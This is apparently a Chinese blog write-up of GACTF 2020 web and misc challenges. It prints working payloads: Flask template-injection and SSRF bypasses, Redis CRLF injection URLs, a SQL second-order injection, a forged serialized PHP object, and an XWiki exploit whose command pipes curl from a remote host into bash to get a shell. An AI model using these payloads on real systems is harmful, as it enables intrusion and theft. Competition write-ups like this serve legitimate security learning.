menu 绝望的肉
GACTF
264 浏览 | 2020-11-12 | 阅读时间: 约 2 分钟 | 分类: CTF | 标签:
请注意,本文编写于 343 天前,最后修改于 343 天前,其中某些信息可能已经过时。

快乐第七

WEB

EZFLASK

第一部分源码

# -*- coding: utf-8 -*-
from flask import Flask, request
import requests
from waf import *
import time
app = Flask(__name__)

@app.route('/ctfhint')
def ctf():
    hint =xxxx # hints
    trick = xxxx # trick
    return trick

@app.route('/')
def index():
    # app.txt
@app.route('/eval', methods=["POST"])
def my_eval():
    # post eval
@app.route(xxxxxx, methods=["POST"]) # Secret
def admin():
    # admin requests
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=8080)

在eval界面可读取到下一步的地址/h4rdt0f1nd_9792uagcaca00qjaf

Payload:eval=admin.func_globals 

里面是ssrf打内网,需要输入IP、端口和路径,IP和端口是127.0.1.1 8080 即是当前页面,爆破端口发现存在5000端口,这个可以获得flag

ip=127.0.2.1&port=5000&path=/

第二部分源码

import flask
from xxxx import flag
app = flask.Flask(__name__)
app.config['FLAG'] = flag
@app.route('/')
def index():
    return open('app.txt').read()
@app.route('/<path:hack>')
def hack(hack):
    return flask.render_template_string(hack)
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=5000)

requsets支持302跳转,可以跳一下绕过前面的限制,就可以访问{{config}}拿flag了
服务器上写个跳转到127.0.2.1:5000就行

<?php
    header("Location:http://127.0.1.1:5000/{{config}}");
    exit();
   ?>

sssrfme

并没有做出来

http://45.77.217.198:10802/?url=http://u:p@127.0.0.1:5000@118.24.13.23/?url=
http://45.77.217.198:10802/?url=http://u:p@127.0.0.1:5000@118.24.13.23/?url=http://127.0.0.1:6379/%250Aauth%2520%2522123456%2522

内网有redis 参考https://bugs.python.org/issue36276

就是打redis getshell 写shell,或者主从复制getshell

但是编码各种问题

http://121.36.199.21:10801/?url=http://u:p@127.0.0.1:5000@118.24.13.23/?url=http://127.0.0.1:6379/%250d%250aAUTH%2520123456%250d%250ainfo%250d%250aaaa:%2520bbb%250d%250a

simpleflask

http://124.70.153.63/console

一开始扫到了/console 需要PIN码 本来有一题就是靠文件读取算出PIN码的,所以就被带歪了

简简单单的绕过,Payload如下

{{session.__init__.__globals__["__bui""ltins__")].open("/fl".__add__("ag")).read()}}

XWiki

网页下方可见版本11.10.1,存在CVE-2020-11057,可利用注册用户权限在个人控制台执行python代码,具体漏洞利用可参考下方资料

http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202005-702

https://jira.xwiki.org/browse/XWIKI-16960

用现成payload试一下确认漏洞存在

import os
print(os.popen("id").read())
print(os.popen("hostname").read())

执行ls发现有/readflag,尝试用base64带出,结果会使文件损坏
在VPS上放一个文件,利用curl来Getshell

import os
print(os.popen("curl 47.114.179.29/bash.txt|bash").read())

有root权限的shell,但是直接远程readflag,网络情况令人捉急,直接cp一下readflag到一个可访问目录,然后下载过来 , 之后本地跑

from pwn import *
from Crypto.Util.number import *
sh = process("./readflag")
flag=""
while True:
  try:
    sh.recvuntil("Which number is bigger?  ")
    number1 = sh.recvuntil(":")[:-1]
    number2 = sh.recvuntil("\n")[:-1]

    ans ='0' if int(number1)>int(number2) else '1'
    #print read[25:27],read[30:32],ans
    flag+=ans
    sh.sendline(ans)

except Exception as e:
  print long_to_bytes(int(flag,2))
  exit()

babyshop

存在.git泄露,直接下载源码 , 但是被非预期了,后来题目才把这个修了

carefuleyes

文件名改名那里二次注入

-1'union select 1,(select password from `user` where `privilege`='admin'),1,1,'1.jpg

跑出账号密码

XM/qweqweqwe
//poc.php
<?php
require 'common.php';
$o = new XCTFGG('login',["XM","qweqweqwe"]);
echo urlencode(serialize($o));
Paylaod:
O%3A6%3A%22XCTFGG%22%3A2%3A%7Bs%3A14%3A%22%00XCTFGG%00method%22%3Bs%3A5%3A%22login%22%3Bs%3A12%3A%22%00XCTFGG%00args%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A2%3A%22XM%22%3Bi%3A1%3Bs%3A9%3A%22qweqweqwe%22%3B%7D%7D

MISC

crymisc

docx其实是zip,修复头恢复得到图片

图片尾base64得到密码

修复base64密文后zip头得到另一个加密zip,根据密码解密得一堆emoji,猜测是emoji加密

知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!